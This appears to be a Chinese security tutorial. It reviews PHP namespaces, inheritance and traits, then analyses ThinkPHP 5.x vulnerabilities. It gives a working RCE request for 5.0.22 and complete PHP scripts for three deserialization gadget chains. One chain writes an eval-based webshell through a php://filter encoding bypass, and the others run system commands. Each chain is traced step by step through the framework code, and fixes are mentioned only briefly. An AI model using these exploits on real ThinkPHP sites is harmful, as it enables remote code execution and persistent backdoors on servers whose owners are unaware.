基础知识
命名空间和子命名空间
我们可以把namespace理解为一个单独的空间,事实上它也就是一个空间而已,子命名空间那就是空间里再划分几个小空间,举个例子:
<?php namespace animalcat; class cat{ public function __construct() { echo "meow"."n"; } } namespace animaldogA; class dog{ public function __construct() { echo "A:wooffff"."n"; } } namespace animaldogB; class dog { public function __construct() { echo "B:wooffff"."n"; } } namespace animaldogC; class dog { public function __construct() { echo "C:wooffff"."n"; } } new dog(); //下面输出的都是dogA new animaldogAdog(); use animaldogA; new dogAdog(); use animaldogA as alias; new aliasdog(); //输出cat use animalcatcat; new cat();

当有多个子命名空间有相同名称类时,不指定使用哪个命名空间的情况下取最后定义的命名空间中的类,比如上面的dog取的时dogC中的类,在上面的例子中animal是一个命名空间,animalcat animaldogA animaldogB animaldogC都是其子命名空间,可以看到这样一共就存在四个命名空间,而使用各个命名空间的方法就是将命名空间的名字写完整,use是什么意思呢?其实和include和require有点像,就是在当前命名空间引入其他命名空间的别名,比如use animaldogA as alias其中的alias就是别名。use animalcatcat这句话就是直接指定了animalcat命名空间的cat类了,我们只需要直接new就可以创建cat对象,不需要在前面加命名空间
类的继承
这个简单讲下,php中是通过extend关键字实现类的继承的,子类可以覆盖父类的方法,子类也可以通过parent::关键字访问父类被覆盖的方法
<?php class father{ public $name="Json"; private $age=30; public $hobby="game"; public function say(){ echo "i am father n"; } public function smoke(){ echo "i got smoke n"; } } class son extends father{ public $name="Boogipop"; private $age=19; public function say() { echo "i am son n"; } public function parentsay(){ parent::say(); } } $son=new son(); $son->say(); $son->smoke(); $son->parentsay(); echo $son->hobby;

trait修饰符
trait修饰符使得被修饰的类可以进行复用,增加了代码的可复用性,使用这个修饰符就可以在一个类包含另一个类
<?php trait test{ public function test(){ echo "testn"; } } class impl{ use test; public function __construct() { echo "impln"; } } $t=new impl(); $t->test(); // 输出 impl test
我们在impl类中use了test这个类,因此我们可以调用其中的方法,有点抽象的意思
Thinkphp开发手册
Thinkphp5开发手册
不懂就查
Thinkphp5.0.22 RCE漏洞
测试
POC:POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami

前提是debug选项要开启

流程分析
下断点调试,入口就在public/index.php中

跟进start.php

进入run方法

跟进routeCheck方法,没什么大用,直接定位到Request.php中的method方法

注意$_POST[Config::get('var_method')],进入Config::get分析一下逻辑

其实返回的就是_method,然后退出来回到method方法中,$this->method对应的就是$_POST['_method'],我们传入的是__construct,转为大写之后就是__CONSTRUCT,然后调用$this->{$this->method}($_POST),也就是$this->__CONSTRUCT($_POST),进入

这里开始遍历POST的元素,注意$this->$name,这个写法很明显有变量覆盖的漏洞,这里轻松的覆盖掉$this->filter和$this->server,继续往后走,进入dispatch

没啥东西,退出往下走

这里得开启了debug才能进入,我们进入param方法

又进入method方法

进入server方法

进入input方法

这里给$data="whoami",然后进入getFilter方法

最终$filter=['system', null],退出

进入filterValue方法

调用了call_user_func,执行命令
Thinkphp5.1.x反序列化链
环境搭建
准备一个反序列化入口:
<?php namespace appindexcontroller; class Index { public function index($input="") { echo "ThinkPHP5_Unserialize:n"; unserialize(base64_decode($input)); return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'; } public function hello($name = 'ThinkPHP5') { return 'hello,' . $name; } }

攻击测试
<?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["F12"=>["calc.exe","calc"]]; $this->data = ["F12"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ // 表单ajax伪装变量 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'F12']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace thinkprocesspipes; use thinkmodelPivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace thinkmodel; use thinkModel; class Pivot extends Model { } use thinkprocesspipesWindows; echo base64_encode(serialize(new Windows())); ?>

成功执行
流程分析
反序列化处打个断点

进入thinkprocesspipesWindows的__destruct方法

进入removeFiles方法

$filename是thinkmodel]Pivot对象,file_exists方法触发它的__toString方法,但是Pivot类是没有__toString方法的,只能找父类Module,Module中使用use调用了Conversion类,Conversion被用trait修饰,所以最终调用的是Conversion类的__toString方法

跟进toJson方法

跟进$this->toArray方法

这里遍历$this->append,我们的append是这个值

先进入getRelation,传入的key值是F12

每个条件都满足不了,直接return,所以$relation的值为null,满足if,进入getAttr方法

进入getData方法

我们的$this->data中是有F12这个键值的,所以返回$this->data[$name],也就是Request对象,返回之后,$relation就是Request对象了

触发visible方法,但是Request类并没有这个方法,所以触发Request的__call方法

经过array_unshift方法,$args数组被插入Request对象

然后执行call_user_func_array方法,$this->hook[$method]就是isAjax方法,跟进

调用param方法,$this->config['var_ajax']的值是F12

进入input方法

进入getData方法

接受我们的恶意传参的值,返回给$data,又是进入getFilter方法

也是给$filter赋值了

为system
往下走,进入filterValue方法

call_user_func执行命令

修复方式
官方直接把Request中的__call魔术方法给抹除了,因此链子后半段就断掉了,也就是说以后打比赛修复的化,直接删,不影响业务
Thinkphp5.0.x反序列化链
环境搭建
反序列化入口:
<?php namespace appindexcontroller; class Index { public function index($input="") { echo "ThinkPHP5_Unserialize:n"; unserialize(base64_decode($input)); return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>'; } public function hello($name = 'ThinkPHP5') { return 'hello,' . $name; } }
攻击测试
<?php //__destruct namespace thinkprocesspipes{ class Windows{ private $files=[]; public function __construct($pivot) { $this->files[]=$pivot; //传入Pivot类 } } } //__toString Model子类 namespace thinkmodel{ class Pivot{ protected $parent; protected $append = []; protected $error; public function __construct($output,$hasone) { $this->parent=$output; //$this->parent等于Output类 $this->append=['a'=>'getError']; $this->error=$hasone; //$modelRelation=$this->error } } } //getModel namespace thinkdb{ class Query { protected $model; public function __construct($output) { $this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent) } } } namespace thinkconsole{ class Output { private $handle = null; protected $styles; public function __construct($memcached) { $this->handle=$memcached; $this->styles=['getAttr']; } } } //Relation namespace thinkmodelrelation{ class HasOne{ protected $query; protected $selfRelation; protected $bindAttr = []; public function __construct($query) { $this->query=$query; //调用Query类的getModel $this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation() $this->bindAttr=['a'=>'admin']; //控制__call的参数$attr } } } namespace thinksessiondriver{ class Memcached{ protected $handler = null; public function __construct($file) { $this->handler=$file; //$this->handler等于File类 } } } namespace thinkcachedriver{ class File{ protected $options = [ 'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', 'cache_subdir'=>false, 'prefix'=>'', 'data_compress'=>false ]; protected $tag=true; } } namespace { $file=new thinkcachedriverFile(); $memcached=new thinksessiondriverMemcached($file); $output=new thinkconsoleOutput($memcached); $query=new thinkdbQuery($output); $hasone=new thinkmodelrelationHasOne($query); $pivot=new thinkmodelPivot($output,$hasone); $windows=new thinkprocesspipesWindows($pivot); echo base64_encode(serialize($windows)); }
这里照着thinkphp的路由打,访问/public/index/index?input=poc,可以看到public文件下生成了两个php文件

第一个就是我们的webshell,第二个是个乱码文件,等会分析原因

流程分析
前面一点点是跟tp5.1的流程是一样的



从这里开始往下看,有4个重要的断点处

首先是$relation的赋值,跟进parseName方法

直接返回$name的值,$relation==getError,接下来的if判断,Modle类有getError方法,因此过,下面调用getError方法

返回$error,这个变量可控,我们的payload里是这样给的值,这个$hasone下面再看是什么值

接下来是对$value的赋值,进入getRelationData方法

看这一段if判断,我们需要满足三个条件
- $this->parent
- !$modelRelation->isSelfRelation()
- get_class($modelRelation->getModel()) == get_class($this->parent))
首先我们要知道在toString这一步我们需要做什么,5.1版本是触发了__call方法,那么这里我们也应该寻找能否找到合适的call方法,最后结果就是thinkconsoleOutput类,那么我们应该让这个方法返回一个Output对象,这样在出去之后执行$value->getAttr($attr)才会触发__call魔术方法,而该方法中value的值就是$this->parent,所以第一个条件parent需要为Output对象
对于第二个条件,$modelRelation我们已经完成了赋值,为HasOne对象,我们观察一下isSelfRelation方法,返回Relation类重点selfRelation属性

由于hasone类是Relation类的子类,因此我们对$this->selfRelation的值可控,只需让他为false即可
最后一个条件需要让Hasone::getModel返回一个Output对象($this->parent),观察该方法,还是Relation类

全局搜索getModel方法,/thinkphp/library/think/db/Query.php中的getModel方法我们可控,所以让$this->query为Query.php的实例即可,然后让他的model属性为Output对象
完成对$value的赋值后,第三个断点,是对$bindAttr的赋值,进入getBindAttr方法

返回OneToOne类的$bindAttr属性,HasOne是OneToOne的子类,所以直接在HasOne中赋值即可,所以这个属性可控,这里我们设置为一个数组["a"=>"admin"],这里的admin和结果中的文件名有关
在进入第四个断点之前,对$bindAttr有一个键值遍历,最终$key==a,$attr==admin,第四个断点$value->getAttr(),触发Output对象的__call方法

array_unshift把getAttr插入$args数组的最前头,然后调用block方法,跟进

该方法中又调用自己的writeln方法,参数为<getAttr>admin</getAttr>,这是上面2个变量拼贴来的,跟进writeln方法调用write,参数为之前带下来的<getAttr>admin</getAttr>,另外两个分别为true,0

套个娃

这里的handle对象由我们控制,我们设置的是thinksessiondriverMemcached,进入它的write方法

这里Memcached的hander属性我们也控制,设置为thinkcachedriverFile,进入它的set方法

进入getCacheKey方法,看名字也知道这个跟文件名有关

虽然$filename可控,但是$data里有个死亡函数exit,所以我们上面的php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php是为了绕过死亡函数

这里$value的值并不能控制,所以$data的值还有待商榷,我们继续往下走,进入setTagItem方法

在该方法中最后又会调用一次set,然后这次value我们可控,就是传进来的name,也就是$filename
又调用一次set,说明又执行了一次file_put_contents,所以说我们生成了两个php文件,第二个文件名就是php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php+md5(tag_c4ca4238a0b923820dcc509a6f75849b)+.php
最终的结果是
file_put_contents("php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php3b58a9545013e88c7186db11bb158c44.php", "<?phpn//000000000000n exit();?>ns:158:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php";"),之前有一篇文章讲过file_put_contents对死亡函数的绕过,利用编码的性质,将其变成其它字符,所以说里面有用的其实只有PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g也就是我们的webshell,其它的字符都会因为base64解码而改变,所以我们生成的php文件中才有很多乱码

Thinphp5.0.x的另一条反序列化链
攻击测试
<?php namespace think; use thinkModelRelationHasOne; use thinkconsoleOutput; abstract class Model{ protected $append = []; protected $error; protected $parent; public function __construct() { $this->append = ['getError']; $this->error = new HasOne(); $this->parent = new Output(); } } namespace thinkmodelrelation; use thinkdbQuery; class HasOne{ protected $selfRelation; protected $query; protected $bindAttr = []; public function __construct() { $this->selfRelation = false; $this->query = new Query(); $this->bindAttr = ["aaa"=>"222"]; } } namespace thinkdb; use thinkconsoleOutput; class Query{ protected $model; public function __construct() { $this->model = new Output(); } } namespace thinkconsole; use thinksessiondriverMemcached; class Output{ private $handle; protected $styles = [ "getAttr" ]; public function __construct() { $this->handle = new Memcached(); } } namespace thinkcache; abstract class Driver{ } namespace thinksessiondriver; use thinkcachedriverMemcache; use thinkcacheDriver; class Memcached { //个人认为防止重名 protected $handler; protected $config = [ //config一定要写全,不然打不通 'session_name' => '', // memcache key前缀 'username' => '', //账号 'password' => '', //密码 'host' => '127.0.0.1', // memcache主机 'port' => 11211, // memcache端口 'expire' => 3600, // session有效期 ]; public function __construct() { $this->handler = new Memcache(); } } namespace thinkcachedriver; use thinkRequest; class Memcache{ protected $tag = "haha"; protected $handler; protected $options = ['prefix'=>'haha/']; public function __construct() { $this->handler = new Request(); } } namespace think; class Request{ protected $get = ["haha"=>'dir']; protected $filter; public function __construct() { $this->filter = 'system'; } } namespace thinkmodel; use thinkModel; class Pivot extends Model{ } namespace thinkprocesspipes; use thinkModelPivot; class Windows{ private $files = []; public function __construct(){ $this->files = [new Pivot()]; } } use thinkprocesspipesWindows; echo base64_encode(serialize(new Windows())); ?>

这条链直接就rce了,方便的多
流程分析
前头基本一样,到之前说到4个断点处,从第三个断点开始不同

可控的bindAttr这是设置成这样,没什么特殊含义(就是想说这里已经不重要了,之前是为了控制__call的参数

之后又开始相同了,到Memcached类中的write方法

这次调用的set方法是thinkcachedriverMemcache的

这里的$tag被控制为haha,我们进入has方法

进入getCacheKey方法

这里的options['prefix']我们控制为haha/,返回拼接的内容,然后进入thinkRequest的get方法

很眼熟,这里明显进入了我们上头的tp5.0.22 RCE漏洞的最后部分,这里的$get我们是控制为['haha'=>'dir'],进入input方法

进入getFilter方法

$filter被赋值为['system', null],进入filterValue方法

rce,结束
